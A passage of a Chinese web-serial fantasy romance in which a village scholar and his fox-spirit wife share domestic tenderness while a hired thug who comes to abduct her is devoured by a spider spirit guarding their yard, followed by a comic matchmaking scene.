陈子均微微一笑,道:“这样吧,今天讲个你们没听过的,也是那后羿射下九日之后所发生的故事,名为嫦娥奔月。” 孩子们立即安静下来。 陈子均娓娓讲述,孩子们个个屏息静神,半刻钟后,故事来到了尾声。 “……就这样,嫦娥偷吃了本该与丈夫分享的仙药,飞到了月亮上,从此以后,她便再也无法回到地面,只能夜夜在天上望着家乡,思念丈夫和亲人。再然后,因这嫦娥奔月的故事,一位大诗人还写了首诗,云母屏风烛影深,长河渐落晓星沉。嫦娥应悔偷灵药,碧海青天夜夜心。” 一个孩子有些羡慕:“我也想同嫦娥一般,能吃到仙药!” 又有孩子反驳他,“傻子,你没听到先生说么,嫦娥吃了那仙药,就飞到月亮上,一个人孤零零的,连个朋友亲人都没有。” “可她成仙啦,还长生不死!” “这样的长生不死,又有什么意思?!” “没意思那也是长生不死,是仙人!” 孩子们分为两派,争执不下,而后,齐齐望向陈子均。 “先生,你觉得我们谁说得对!” “嫦娥的故事,其实是告诉我们,有时候,你若选择了一样东西,便会不得不失去另一样……比如,即便是长生不死的仙人,也会有解决不了、面对不了的痛苦。”陈子均淡淡地道,“所以,这世上没有绝对完美无缺、没有任何遗憾的选择,也许你选了任何一个,回头都会后悔。” 顿了下,他道:“好了,时间已到,大家继续念书吧。” 酉时,日渐西沉。 陈子均出了私塾,缓步往回走去。 半路,目光无意地瞥见到路边的一丛小白花。 “是栀子啊……”陈子均一愣,然后微微一笑,他想起第一次见到胡翘翘时,她的鬓角处便别了一大朵栀子花,香得他头晕脑胀,心脏乱跳。 胡翘翘甚喜欢栀子,尽管陈子均嫌它的香味儿太浓太冲,不如别的花清淡优雅,她依旧最为爱它,春天时两人见面,十次中倒有七八次她会戴着它。 可惜,白崖村附近的栀子花不太多见,胡翘翘便很久没戴过了。 这一丛栀子花还只是小小花苞,距离真正的绽放应该还需些时日,陈子均沉吟片刻,伸出手,轻掐一枝。 四周无人,他身形微微一闪,已经来到后院。 来到种着养魂玉芝的那个角落,他理出一小块空地,将手中那枝栀子花插入土中。 于是,奇异之事便发生了,只见花枝慢慢地沉了下去,然后末端以一种肉眼可见的速度,迅速地生出根来,紧接着,它开始长高、新的茎叶生出,每一枝花茎上又很快多出了一簇簇白色小花苞,随后花苞变大、花瓣绽开…… 几乎是在几个呼吸之间,这根单薄的花枝便成了一丛新的栀子花,而且每一根花枝上都是洁白花朵累累,转瞬尽数怒放! 栀子花的浓郁香味,顿时飘漫在后院之中。 头顶树叶响动,一个小女孩儿探出了脑袋,满脸好奇地问,“大坏蛋,这花一种下去就成了这样,你是如何做到的?” 陈子均笑了笑,“息壤连灵草的生长速度都能催发百倍以上,催生一朵小花又有何难?” “息、息壤?你说这土是息壤?”玉珠儿顿时吓了一跳,声音都提高了八度。 也不能怪她这等失态,即使她还只是个八百年的小妖,也听说过“息壤”这两个字。 息壤是传说中的一种能按照使用者的意愿,自行急速生长的神土,只要使用者能提供足够的养分,甚至能长出一片大陆来! 上古时期神魔大战之时,天塌地陷,滔天洪水肆虐人间,人皇大禹便是用息壤平定了洪水。但这几千年来,压根就没人见过真正的息壤,所以她一直认为传说只是传说,息壤不过是种虚构之物。 没想到,这大坏蛋竟然说他用来种蘑菇种花的这土就是息壤! 玉珠儿的小脸上神情一阵变幻,第一次开始仔细打量自己所在大树树底的土地。 分明平平无奇,只是比周围其它的土地颜色略深一些,黑乎乎的,竟然就是传说中的息壤? 但如果它不是息壤,又如何解释方才她亲眼所见的那一切? 而且她知道,这大坏蛋虽然很坏,但不是一个喜欢说大话吹牛皮的人,他既然这么说了,八成便是真的。 “你、你怎么会有息壤的?”玉珠儿双眼发直,忍不住问。 “呵呵,”陈子均只是笑了一声,挑了枝开得最漂亮的栀子花,轻轻掰下,转身离去。 “竟然用息壤催生这种凡花……”看着他的背影,玉珠儿痛心疾首地嘀咕,“真是浪费……” 见陈子均走远,她眼珠骨碌碌一转,吊下树,小手缓慢地探向地面,“我悄悄抠走一小块,大坏蛋应该不会发现……” 不料指尖刚碰到,息壤中竟然生出了一张嘴,狠狠咬住了她的两根手指! “啊!”玉珠儿尖叫一声,连忙拔出手指,但指尖已被咬得血淋淋,她又惊又怒又不可置信,“它、它居然是活的?!” 地面微微震动两下,似乎在嘲笑她的少见多怪。 玉珠儿哼了一声,不敢再打息壤的主意,钻回树枝里面,小声安慰自己,“反正我也不种地,不稀罕……呜,好疼……” 第34章 一块儿洗脚呀【求追读】 房间内。 胡翘翘将手中做好的长袍抖了抖,小心拍掉一两根残留的线头,然后仔细打量。 这是她第一次做如此复杂的衣物,裁剪显得有些粗糙,针脚也有些参差不齐,手指还被针扎红了好几处,但她却已经颇为满意的弯起了眼。 第一次就做成这样,看来自己很有天赋呀! 她抱着衣服,闭目幻想了一下它被穿在陈子均身上的模样,整个人便忍不住沉浸在醺然陶醉之中——相公穿起来一定合适得不得了,然后不停夸她心灵手巧,真是世上最好的娘子,又捧着她被针扎过的小手,一脸怜惜地吹吹摸摸,问她疼不疼。而她则会红着脸说相公才是世上最好的相公,翘翘为你做什么都心甘情愿,别说被针扎几下了,被刀砍也不会疼…… 嘻嘻嘻嘻。 胡翘翘美得直冒泡儿,开心地踢了一会儿小脚,随后将那块狐皮取了过来。 等她将这块狐皮裁开,再缝进长袍内部,这条狐皮袍子才算完全做好。 这狐皮异常坚韧,寻常剪刀很难剪动,不过她也有办法,一个粉润光洁的指甲忽然变得尖尖长长,前端还闪着寒光,轻轻划了几下,狐皮便分成了若干片。 正要动手缝制,白皙娇俏的小鼻子忽地动了动,“好香呀……” 像是栀子花的香味儿,只是这附近应该没有栀子花呀…… 紧接着,不远处传来的熟悉的脚步声让她想到什么,胡翘翘瞥了眼窗外昏暗的天色,跳了起来。 不好,做衣服忘了时间,相公都回来了,可她还没做晚饭。 “相公。”胡翘翘丢下袍子,跑出房间,看着陈子均道,“我忘记做饭啦,现在就去……” “不用急,”陈子均伸出一只手拉住了她,另一只手突然从身后拿出一物,递在她的眼前,“看看,这是什么?” 胡翘翘眼前一花,香味儿扑面而来,整个人瞬间被花香包裹。 她一怔,看清后,目光明亮惊喜。 “是栀子花?!” “回来的路上看到了,就顺手摘了几朵给你。”陈子均笑道,“来,我帮你戴上。” 胡翘翘乖乖低头。 陈子均掐下一朵最大的,拨开她鬓角边垂下的一缕秀发,替她插上。 她的发丝间便萦绕着了栀子花的甜香。 胡翘翘抬头望了陈子均一眼,见他正目不转睛地看着自己,眼中微微浮起羞色。 于是,白皙娇嫩的脸蛋微红,眼波盈盈,更显娇美俏丽,既天真干净,又妩媚动人。 陈子均下意识地想,果然还是栀子花最合适她,虽然香得有些过分,却正是这毫无遮掩、明快烂漫的香味儿,才像极了她本人。 “真好看。” 胡翘翘抿唇一笑,心中无限甜蜜,从他手中将余下的栀子花接过来,道,“我去把剩下的插起来。” “好。” 胡翘翘去卧房中找了个罐子,装上水插好栀子花,又对着镜子照了半天,才开心地出去。 路上遇到正打水回来的青蛇,她喜滋滋地指着脑袋,“小青,相公送我的花,漂亮吧?” 没等青蛇说话,她便哼着歌儿,蹦蹦跳跳地走了。 …… …… 晚饭后,陈子均检查了胡翘翘的背书情况。 她背着比早上要熟练不少,看样子白天并没懈惰,他满意地点点头,继续替她讲解了后两页的内容,然后让她背诵。 小狐妖满脸严肃地背了起来。但没多久,陈子均就见到她偷偷地垂下了头,打了一个大哈欠。 陈子均正无奈呢,忽然胡翘翘伸过来一只小手,然后把他的手给紧紧握住,望着他,软软地说:“相公,我觉得,握着你的手来背,应该可以防止打瞌睡。” 陈子均:“……” 戌时过后,胡翘翘勉强会背了,也困得不行了,便将书放下,去打水洗手洗脚。 片刻后,她回到房中,放下手里的木盆,再坐下脱鞋解袜,将双脚放进了盆子里。 在她放进的那一刻,水面便开始荡漾,温暖透明的液体来回亲吻着那双可爱的白嫩小脚,从那同样嫩嫩的脚趾缝间钻进去,又流出来,让她很是舒服。 胡翘翘的左脚右脚交替搓了搓,又搅了两下水,闻着房间里浓郁得几乎挥不散的栀子花香气儿,忽然瞄向了陈子均,清了清嗓子才轻声道,“相公……你要不要一块儿?” 陈子均瞥了她一眼,“什么一块儿?” “就……”她眨眨眼,轻轻踢着盆子里的水,“一块儿洗脚呀。” 陈子均一愣,然后咳了声:“我在看书……” “来嘛,”她撅起小嘴撒娇,人在椅子上扭来扭去,“都做这么久夫妻了……我们还没一块儿洗过脚呢……” “来嘛~” “来嘛~” 陈子均无奈道:“好吧。” 胡翘翘眉开眼笑,“那你快将鞋脱了。” 陈子均放下书本,除去鞋袜,将自己的脚也放进了盆子里。 因为盆子不算太大,因此,两人的脚必须交叠着才能放下,他看着胡翘翘,开口说:“把你的脚放在我上面吧。” 胡翘翘嘻嘻一笑,将小脚提起来,然后轻轻搁在他的脚背上。 “相公,我来帮你洗脚。” 然后,她便用足底在他的脚背上蹭来蹭去,即便足底是平时用来走路的部分,但她那里的肌肤依旧滑嫩柔软得惊人。 陈子均好笑地道:“这也算洗脚吗?” “用手洗是洗,用脚洗也是洗呀。”胡翘翘得意地笑着,继续替他洗着脚。 随后,她又想到什么,兴致勃勃地道:“相公,我们来比一比,看看你的脚比我大多少。” 陈子均:“幼稚。” “来嘛,来嘛。”她用脚趾头一下一下勾他,眼睛也一下一下地勾他。 陈子均被她磨得无法,“好了好了,比就比。” 他从盆中抬起脚,而后,胡翘翘也跟着抬了起来,小脚丫子和他的大脚贴在一块儿。 两人的足跟下边缘对齐,她的脚趾头顶端却还没到他的脚趾根处,足足小上两圈,看着可爱又可怜。 “相公的脚真大……”她眨眨眼,“感觉一脚就能把我踩扁啦。” 陈子均作势踩她一下,又收回来,“不行,舍不得。” 胡翘翘吃吃地笑,用脚踩他,“那我踩你。” “娘子真狠心,居然踩我,那我也要踩回来。” 两人你踩我我踩你,玩了好一会儿,陈子均方道:“好了,水都凉了,擦擦吧。” 第35章 相公你好香【求追读】 陈子均取了葛巾,给两人擦了脚,穿好鞋后,直接把她抱到床上,扯过被子盖在她身上,“乖乖睡觉。” 胡翘翘拉着他不让走,软声说,“相公也一块儿睡吧。” 陈子均不忍拒绝,便去吹了灯,躺上床搂着她。 胡翘翘闭上眼,窝在他的怀里,嗅了嗅他的脖子,低声道,“相公,你的身上可真好闻啊,我感觉一辈子都闻不够。” 陈子均好笑地捏了下她小巧的鼻尖,“今天是怎么了,这么多花样马屁?” 虽然平时也差不多。 “不是马屁,真的很好闻呀,”她钻进被子,从脖子轻轻嗅到他的胸口,声音娇软缠绵,“每个地方都很好闻,我好喜欢。” 陈子均吓唬她:“你再闷在被子里,我便泄气了,那也好闻么?” 胡翘翘吓了一跳,哧溜一下,立即将小脑袋探了出来,然后才睁着水汪汪的大眼睛,一本正经地看着他,“就算那样,也是极好闻的。” 陈子均笑出了声,道:“还说不是马屁精。” “不是,翘翘是最爱最爱相公的小狐狸精,真的,翘翘好爱你啊,有那么多那么多的爱,多到一辈子都用不光、说不完……” 她紧紧地搂着他,尾巴轻轻摇晃,轻柔认真的声音在房里回荡,与栀子花香混在一块儿,不是美酒,却能醉倒任何人。 陈子均的心里也有了几分醉意,揉了揉她的头顶,温声道,“我知道,睡吧。” …… …… 镇上,一家赌坊。 一个男人醉醺醺地走了出来,骂道,“真他娘的手背,居然又输光了!” 他走到一堵墙边,忽感尿急,便停下脚步,扯裤泄流。 刚尿到一半,突然身后有个阴冷冷的声音道,“吴老二?” “干他娘的,哪个王八蛋这时候叫老子。”那唤做吴老二的男人手一抖,顿时被尿液溅湿了裤子,他提起裤子,骂骂咧咧地转过身,发现身后站着个衣着颇为讲究的陌生男人,三角眼一瞪,“你他娘的是谁?” 那人闻到他身上那股混合着骚气的酒味儿,就嫌恶地捂住了鼻子,往后退了两步,站到了上风处,方才阴沉一笑,自怀中取出了一块银锭,在手中来回抛着。 吴老二的三角眼顿时都看直了几分。 这锭银子至少十两,足够一个普通人家大半年的吃用。 也足够他翻本,把之前输出去的都赚回来…… 见四周无人,吴老二顿时想到什么,目中隐隐露出一缕凶光。 即便对方的衣着打扮不像普通人,但这一大锭银子摆在眼前,也足够让他这个镇上有名的泼皮混混选择某种铤而走险的举动…… 但下一刻,那人却做出了件让吴老二意想不到之事。 对方竟直接将那银锭抛到他脚边不远处,然后似笑非笑地开口,“你不需要知道我是谁,你只用知道,我是来给你送银子的。” 吴老二想也不想地扑上前,将那锭银子捡起来,也不嫌它沾上了某种水迹,立刻放进嘴里咬了一口,确实是十足成色的真银,这才放心,咧嘴一笑道:“白送我?今天难不成是碰到傻子了?” “你想要更多吗?” “废话,谁能不想?!”吴老二回。 “只要你帮我去办一件事,这样的银子,便还有十锭。” “你不会想要我去帮你杀人吧?”吴老二一愣,又冷笑道,“不过,只要你钱给得够多的话,老子杀个把人也不是不行!” “那倒不是,”那人无声地扯了下嘴角,弧度愈发显得阴冷,“白崖村你可知道?” “倒是听过。” “那村中住着个秀才娘子,你想办法将她掳来,倘若成功,我就再付你一百两。” “……”吴老二眯起三角眼,“只是去白崖村掳个小娘子?” “没错。” 镇中青楼里最红的姑娘,睡上一晚也不过五两银子罢了。什么如花似玉的小娘子,值得花一百两去掳来? 还真是个送钱的傻子。 吴老二心中如此想着,嘴里却道:“此事简单,最多两日!” “好,到时候,我仍在这里等你。” 说完这句,那人便往后退去,没入黑暗。 吴老二摸着怀中的银锭,舔了舔干涩的嘴唇,又一次转身,走向了不远处的赌坊…… 黑暗中,几道身影站在那里,盯着吴老二的背影。 “真是个蠢货,”其中某个身影冷笑一声,“也不怕有钱没命花。” “哼哼,等那小娘子到手,我们再将他……”之前那人在脖子上比划了一个割喉的手势,森然地笑道,“像他这种泼皮无赖,为了逃赌债,失踪个把也是常事,绝不会引起任何人的怀疑注意。到时候,只有老天才晓得,那小娘子是落到我们的手中……这样才决计不会给老爷带来任何麻烦。” 余下几人也都跟着笑了起来。 …… 公鸡的鸡啼声迎来第一缕光明。 那些丑恶的阴谋也跟着遁入了黑暗之中。 胡翘翘打了个哈欠,缓缓睁眼,慵懒地看着身边的陈子均,先在他唇上轻啄了一口,方才说,“相公,中午咱们再杀一只鸡,这次烧着吃,好不好?” “好。”陈子均笑。 胡翘翘穿衣、洗脸,梳头,将陈子均买的那枚珠钗插好,又见到罐子里的那枝栀子花依旧鲜艳欲滴、芳香扑鼻,仿佛刚摘下来一般,有些惊喜,又摘了一朵,别在鬓边,对镜调整到满意之后,方才心情愉快地去厨房做早饭了。 今日早上她打算煮粥,先淘好米,再将装了米的瓦罐放在炉灶上。 昨天她已经从小青那里学会了点火术,于是用不多的妖力唤出火苗,点燃了炉子中的树枝, “果然,法术还是挺方便的,”望着炉灶里的火焰,胡翘翘小手托腮,开始憧憬,自己一定要好好修炼,学更多的法术,变成什么流光境……啊不,什么魂宫境、神通境的厉害妖怪,将来若是有坏蛋敢欺负相公,她便大发神威,将他们统统打跑! 反正,无论谁来破坏,她都绝不会和相公分开! 早饭是二米粥,煎鸡蛋和红糖沾粘糕。 吃完后,趁小青在洗碗,陈子均低头亲了亲胡翘翘粉嫩的脸蛋,笑着道:“我去了。” “嗯,翘翘会乖乖在家里,等着相公回来的。”胡翘翘双眼弯如月牙儿,甜甜地道。 她站在院门口,依依不舍地看着陈子均的背影消失在小路的尽头,方才返回房间,开始做自己的事儿。 日头渐渐升高。 村头大树上的鸟雀的清脆叫声中,打扮成货郎模样的吴老二,挑着货担,慢悠悠地走进了白崖村。 “卖杂货了,糖果花生、针头线脑、胭脂水粉……” 他边吆喝边摇着手中的长柄拨浪鼓,一双三角眼也贼兮兮地四处张望着。 第36章 送上门的肉又来了【求追读】 因为交通不便,市集又得等到初一十五才有,在没有赶集的日子中,有些人便会挑着货担,往来于周边的村庄,向村民们售卖一些日常所需品,这样的人被称为货郎。 “糖果花生、针头线脑、胭脂水粉……”吴老二继续吆喝。 一般的村庄因为人员流动少,家家户户都彼此极为熟悉,若是突然出现一张生面孔,便很容易引起村民们的注意。 所以吴老二才选择了扮做货郎,毕竟货郎总是在各个村庄乡镇中来来往往,即便村民们不识得他,也不会产生多少疑心。 至于这货郎担,他是找一个相识的货郎借来的。 当然,他用来“借”的不是口,而是拳头。 不远处,一户村民家的柴门被推开,一个胖大婶喊道,“货郎,你那儿可有驱蛇虫的药?” 吴老二停下来,“有。” 胖大婶问,“多少一包?” 吴老二随口道:“十文。” “怎么这么贵!”胖大婶惊讶,“别人都只卖五文!” 吴老二改口道:“你听错了,我说的是四文。” “那过来吧,我要两包。” 吴老二挑着货担走过去,胖大婶从怀中掏出一个布包,解开,边数着钱,边打量着吴老二,道:“奇怪,往常来我们村的货郎不是你,你看着……面生得很。” 獐头鼠目,眼神飘忽,有些不似个好人。 “我还是第一次做这货郎的营生,大姐当然觉得面生,往后我多来几趟,你就眼熟了。”吴老二嘿嘿笑道。 “哦,原来是这样。”胖大婶将钱递过去。 吴老二在货担中一阵乱翻,终于找到了塞在角落里的几包驱虫药,拿出两包给她,又道,“大姐,你若是有其他需要的,我一起给你算便宜些。” 闻言,胖大婶有些动心,“好罢,你等会儿,我再看看。” 趁她专心挑拣东西,吴老二又故作随意地问,“大姐,你们村里的姑娘媳妇们可多么?我这里还有些小娘子们爱用的胭脂水粉,头绳发带,去哪家卖会比较好卖一点?” “有不少呢,”胖大婶顺口说了几家,又道,“还有右边那条小路,走到尽头,最后那家住着陈秀才和他娘子,你也可以去试着卖卖看。” 吴老二眼神微闪。 片刻后,胖大婶又选了几样,他胡乱报了个低价,收了钱,便挑起货担,朝着右边的小路走去。 走出两三百米,再拐过一丛白色杜鹃花,不远的前方果然出现了两处屋舍。 吴老二挑着货担,边往前走,边摇着拨浪鼓,“卖杂货了,糖果花生、针头线脑、胭脂水粉、头绳发带……” 胡翘翘正在缝狐皮袍子,听到拨浪鼓声,心中微动,她抬起头,对不远处正在擦桌椅的小青道,“小青,好像有货郎来啦,你帮我去问一下有没有蓝色的线卖,我这里不太够用了。” “好。” 小青放下抹布,来到前院,叫道,“喂,卖东西的,你过来。” 听到这脆生生的声音,吴老二的身子先自酥了半边,再定睛一瞅,见到她俏生生的模样、玲珑动人的身段,又酥了另半边,口水都险些淌了出来,心中暗道,“那人要掳的莫非这个小娘子?看这风骚的模样,一百两银子倒是值得的……就算要二百两,也不是不行。” 他一边胡思乱想,一边挑着货担走了过去,嘿嘿地笑道,“小娘子,想要些什么?” 小青见他形容可憎,色迷迷的目光还在她的身上毫不掩饰地游走,心中生出几分厌恶,沉着脸道,“你在乱看些什么,眼睛再不老实点,我就把你的眼珠子挖掉!” 吴老二顿时大怒,这小娘皮竟然敢如此和他说话,真是好大胆子,脸上却不显,只是收回视线,低头赔笑道,“不敢不敢,姑娘要些什么?” “有蓝色的线么?” “有有。” 吴老二伸手取出了几团线。 小青选了一团,问:“多少钱?” “两文。” 小青丢出两个铜板,便拿着线团去找胡翘翘了。 吴老二这才抬起头,目光盯着她的背影狠狠剜了几眼,心里有些发痒。 这小娘子果然美貌得紧,又生得前凸后翘,难怪有人愿意出一百两银子来掳她。 若是能同她睡上一晚,不知该如何销魂…… 吴老二又心中一动,等自己将这小娘子掳到手后,先享用一番,再送给那人,这才是两全其美。 一百两呵,换个这样的小娘子,哪怕是被自己玩过的,那人也是赚大了。何况他又没提前说不许自己碰她。 但现在是白昼,动手不便。 吴老二计划等到夜深人静之时,再悄悄摸进这小娘子的家里。 这小娘子虽有相公,却是个秀才,必然手无缚鸡之力,他压根没放在心上,甚至决定要就在对方的相公面前,将这小娘子亵玩一夜,临走时,再给对方一个痛快…… 吴老二心中定了主意,仔细观察了一番四周的环境布局,方才挑着货担,慢悠悠地离去,同时心中已经有些等不及,盼着日头早些下山,月亮快点出来。 到时候,他便可好好一亲那小娘子的芳泽了…… …… 就在吴老二的心急如焚中,天色渐渐变黑。 眼见过了子时,村中家家户户都已熄灯睡熟,他趁着夜色,悄悄摸进了白崖村。 沿着右边的小路,吴老二再次来到了屋前。 他记得前院养了几只鸡,担心惊动鸡,吵醒屋里的人,便直接来到后院。 手一撑,便翻过了墙,刚好落在一棵树下。 不料脚还没踩实地面,就不知道从哪儿弹起了一张网,直接将他吊了起来。 这变故让吴老二措手不及。 发生了什么?他刚冒出这个念头,就听到头顶的树枝上响起一个孩童般的稚嫩笑声,“嘻嘻嘻,终于又有送上门的肉了……这次大坏蛋应该不会不许我吃了吧……” 大半夜的,树上怎么会有孩子,还说什么“肉不肉”的? 吴老二下意识地抬头望去,但周围太黑,他只能看到那树枝颤动,从枝叶深处,慢慢地爬出来了一个浑身漆黑的东西。 近了,再近了…… 月光洒下来,吴老二终于看清。 那竟是只长着女童面孔的巨大蜘蛛,正看着他,露出狞笑! 他吓得肝胆俱裂,刚嗷地叫出声来,那只大蜘蛛已经猛扑过来,一口将他的脑袋直接咬掉! 吧唧,吧唧…… 让人闻之瘆然的细微咀嚼声,回荡在暗夜之中。 “这肉是臭的,真难吃,”玉珠儿一脸嫌弃地大嚼着,“算了……总比没有强……“ 吧唧,吧唧…… 第37章 你什么时候醒的 【求追读】 房间里,胡翘翘半睁开惺忪睡眼,迷迷糊糊地道:“相公,外面好像有什么声音……” 陈子均轻抚着她的尾巴,从容道,“没事儿,应该是野猫在抓田鼠,睡吧。” “哦……”靠着的这片坚实胸膛传来的震动给了她极大的安全感,胡翘翘不再关心外面的响动,而是往男人的怀中再贴紧一些,双臂搂着他,感受着自他身上传来的凉意,恬然入睡。 过了片刻,陈子均忽然皱起了眉。 他似乎遗漏了什么…… 片刻后,才“啧”了一声,喃喃道,“哎,忘记让玉珠儿留下活口了……” 算了,无所谓。 …… 平静安宁的夜晚过去。 阳光渐渐点亮天空,悠闲轻快的清晨来临。 公鸡打鸣,母鸡咯咯。 某个后院的树上,一个小女娃心满意足地打着饱嗝,小嘴边还挂着一丝血渍。 白崖村平平淡淡的一天再次开始。 嘹亮的鸡鸣声中,胡翘翘皱了皱小而秀挺的鼻尖,红润的小嘴轻轻翕动了两下,发出意犹未尽的哼唧声,转了个身,两排精致羽扇似的睫毛颤了颤,才缓慢睁开了眼。 咦,相公还没醒,真是难得。 发现陈子均还睡着,胡翘翘便没立即起身,只是睁大眼,认真地看着陈子均沉睡时的脸孔。 看着看着,她忍不住抬起一只小手,白嫩纤细的指尖顺着陈子均的五官虚虚描摹起来。 相公的眉毛就像是书里所说的剑眉,又直又长,斜斜飞入鬓角,真好看。 相公的眼睛虽然闭着,但依旧能看出狭长的弧度,而且她知道,当它睁开时,就仿佛阳光照耀下的海面,有无数细碎的光点闪烁,耀眼到令她想熔化在其中。 相公的鼻子又直又挺,好看。 嘴唇薄薄的、润润的,也好看,不光好看,还很好吃…… 说到好吃,她有点馋了,想再仔细品尝一下相公嘴唇的味道…… 胡翘翘的心湖中传出轻微的荡漾,娇润的唇,悄悄朝陈子均凑近。 但在两人的嘴唇即将完全贴住之时,她又开始犹豫了,既想亲相公一口,又怕将他吵醒,于是便将触未触地犹豫着,两人的距离是如此之近,她长而卷翘的睫毛几乎都要碰到他脸上的肌肤,温热的呼吸轻柔喷洒。 怎么办,究竟要不要亲下去…… 突然,陈子均抬起一只大手,掌心扣住了她的后脑勺,闭着眼叹了口气,“等了半天,还是我来吧。” 胡翘翘一愣,未能思考地便随着后脑处传来的力道,往前进了一分。 于是,双唇相接。 胡翘翘的脑子迷迷糊糊,连身子都被他亲得发软了,手臂下意识的环着他的脖子。 唇分之时,一丝柔亮的水线连在他们之间,被慢慢扯开,见此,胡翘翘更是羞得无地自容,呐呐道,“相公,你什么时候醒的……” 陈子均笑了,道:“你还没睁眼的时候。” “你一直在装睡,坏蛋……”胡翘翘的脸愈发红了,像只被意外惊动的小土拨鼠,拼命地想朝被子里钻。 她的那些小动作都被相公知道了罢,好羞啊! 陈子均却将她搂紧,不许她钻进去,笑道:“老夫老妻了,害臊什么!” 胡翘翘感觉脸都快烧起来,软声道:“偏要、偏要害臊……” “不行,我不许。” 两人在床上腻腻乎乎了会儿,方才一块儿起床。 吃过早饭,陈子均去了私塾。 胡翘翘见今天阳光极好,便将被子拿到后院。那里有几根竹竿搭成的架子,是用来晾晒衣物的,她将被子搭在上面,让阳光照射,又来回拍打,直到被子中腾起了无数漫天星尘般的细小光辉,方才停下来,抿唇一笑。 正要转身离开,脚底下似是踩到什么,一种硬邦邦的感觉传来。 胡翘翘低头一看,发现土里躺着根约莫一寸长的碎骨,色泽还挺新鲜。 她愣了愣,喃喃道,“这里怎么会有根骨头?” 看起来……还有一点儿像是人的手指骨? 但她并未亲眼见过人的手指骨,所以又不太敢肯定。 “哎呀,这是我昨日吃剩的鸡骨头,”青蛇拧着腰过来,若无其事地将那骨头从她手中拿走,“当时随手一扔,不知怎么到这儿来了。” 胡翘翘这才释然,心有余悸地轻拍着胸口,“下次别再乱扔啦,吓我一跳。” 刚回到前面,忽然又有人在院门外扯着嗓子喊,“秀才娘子,秀才娘子,在家么……” “在呢,来啦。”胡翘翘走了过去,将院门打开。 来人是白崖村里的木匠媳妇,姓王,小儿子在私塾读书,今天便轮到他们家给陈子均送东西。此刻,她的左手里抱着个陶罐,右手里则是拎着一条两斤多重的大鲤鱼和一截胖乎乎的春笋。 “秀才娘子,我给你送东西来了,你看这鱼多新鲜,还有刚挖的笋,”王婶子的嗓门很洪亮,中气十足,“对了,前些日子我们家新榨了些菜籽油,香得很,我也给你和秀才拿来了几斤,厨房在那边吧,我帮娘子放到厨房去。” “谢谢婶子。”胡翘翘笑着道谢。 王婶子放好东西,一出厨房,正好撞见了刚从后院过来的小青,她一愣,上下打量了小青几眼,忍不住自语,“啧啧,这姑娘的屁股可真不小……一看便是个有福气的。” 小青的眼角抽搐,只当没听见,拿起扫帚,开始扫地。 王婶子驻足,盯着小青看了片刻,不知想到什么,转过身,又去了厨房,找到正在杀鱼的胡翘翘。 “秀才娘子,我有些事儿想要问你。” 胡翘翘边用刀刃小心地刮着鱼鳞,边随意地回答,“什么事呀,婶子问吧。” 王婶子咳了一声,露出个殷切的笑,“不知外面那个穿绿衣服的姑娘……是娘子的什么人,之前怎么没见过呢?” 穿绿衣服的姑娘…… 胡翘翘愣了两秒,方才反应过来,王婶子问的应该是小青。 哎呀……这可麻烦了,该怎么回答呢? 小狐妖纠结了会儿,方才结结巴巴地道:“哦,她、她是我的一个远房表妹,这两天才过来,会在我和相公这里暂住一段时日……” 第38章 长姐如母【求追读】 “原来她是娘子的表妹呀,长得可真漂亮,一看便是福气满满,”王婶子笑呵呵地接着问,“那娘子能不能告诉我,她有多大年纪,家里还有什么人,可曾许配过人家?” “啊?这、这个……”小狐妖张口结舌,绞尽脑汁后,方胡乱答道,“我表妹她、她今年刚满十八……之前父母双亡,老家也没什么亲人了,所以才来投奔我……至于许配人家么,应该也、也不曾……” 听到“父母双亡,故乡几无亲人”时,王婶子轻吁一声,抬手抹了抹眼角,叹气道,“唉,真是个可怜孩子。“ 心里却越发满意。 不曾许配人家,还父母双亡,无亲无故,说明没有娘家拖累。 又是秀才娘子的表妹,秀才娘子这么一等一的人品脾气,她的表妹应该也差不到哪儿去。 年龄虽稍嫌大了些,但长得漂亮,屁股又大,一看便极好生养…… 胡翘翘说完,又疑惑地问,“王婶子,你问这些干什么?” “我家大些的那小子娘子也见过,不是婶子自夸,今年虽然刚满十七,已经将我家那个的手艺学了八九成,”王婶子露出个笑容,略带得意地道,“明年啊,我们家准备到镇上去开个木匠铺子,不出意外的话,每年能挣三四十两银子呢!” “哦,那恭喜王婶子了。”胡翘翘连忙说。 王婶子继续道,“还有,我家大儿子平时不嫖不赌,脾气也是极好,老实憨厚,就是至今还没定下亲事……” 胡翘翘一脸茫然。 王婶子和她说这些做甚? 她的大儿子脾气如何,有没有定亲,和她又有什么关系? 王婶子见她没会过意,咳了一声,再度将意思挑明几分,“娘子,不如我们选个时间,让我儿子与你表妹两人彼此相看相看,没准一门好事便成了。” 胡翘翘继续茫然:“什么好事呀?” 王婶子无奈,只能打开天窗说亮话,“嗐!娘子觉得我儿子如何?可配得上你那表妹?依我看,倒是挺合适的,娘子考虑考虑,让你表妹嫁到我家,如何?” 这一句,胡翘翘总算听懂了,她吃了一惊,眼睛都瞪圆了:“你的意思是,让小……让我表妹她……” 王婶子连忙点头。 这这这,这怎么可能呀,胡翘翘险些当场把菜刀扔到地上,切到自己的脚趾头。 小青可是蛇妖,怎么能…… 但转念一想,她是妖怪,相公是人,不也在一块了么? 可是,可是小青明显不喜欢人类男子的嘛…… 更重要的是,她也没资格帮小青决定这种事情啊…… 小狐妖无法解释,只能拼命摇头,“婶子,这件事我、我做不了主的……” 王婶子连忙拉住她,从容不迫地笑着,“娘子怎么会做不了主呢?你不是说,你表妹她父母双亡、无亲无故,就只有你这一个亲人了么,你是她表姐,所谓长姐如母,你说的话,便相当于父母之言,她怎敢不听?” 胡翘翘哭笑不得,还是摇头。 “不行的,不行的……” “娘子莫非是怕我们家对你的表妹不好?”王婶子拍着胸口,大声道,“婶子保证,只要她嫁过来,我一定会将她当做亲生女儿一般对待,不,会对她比对自己的亲生女儿还好!还有,彩礼绝对一分都不会少,娘子和秀才公这里,我们也一定重重答谢!” 不、不是彩礼的事儿,也不是…… “……”胡翘翘张口结舌,心中涌出无数苦恼。 唉,若是相公在这里就好了,他这么聪明,一定能婉拒掉王婶子,不像她,完全不知该如何应对。 在门外听了许久的小青终于忍不住了,直接一个箭步冲了进来。 “大婶,我告诉你,当初有个算命先生和我说过,我是天煞孤星命,在家克父母,出嫁克丈夫,我爹娘就是被我给克死的……” 她看着一脸震惊的王婶子,羞涩一笑,“不过也有化解之法,那算命先生说,只要我找到一个命硬的丈夫,便没问题了。方才我听到大婶说你儿子的条件,也颇为心动,不定他便是那个命硬的……要不,你先将他叫来,我们相看相看……” 王婶子听她说完,头脑突然有些恍惚,又有些晕眩,身形当即摇晃,险些栽倒。 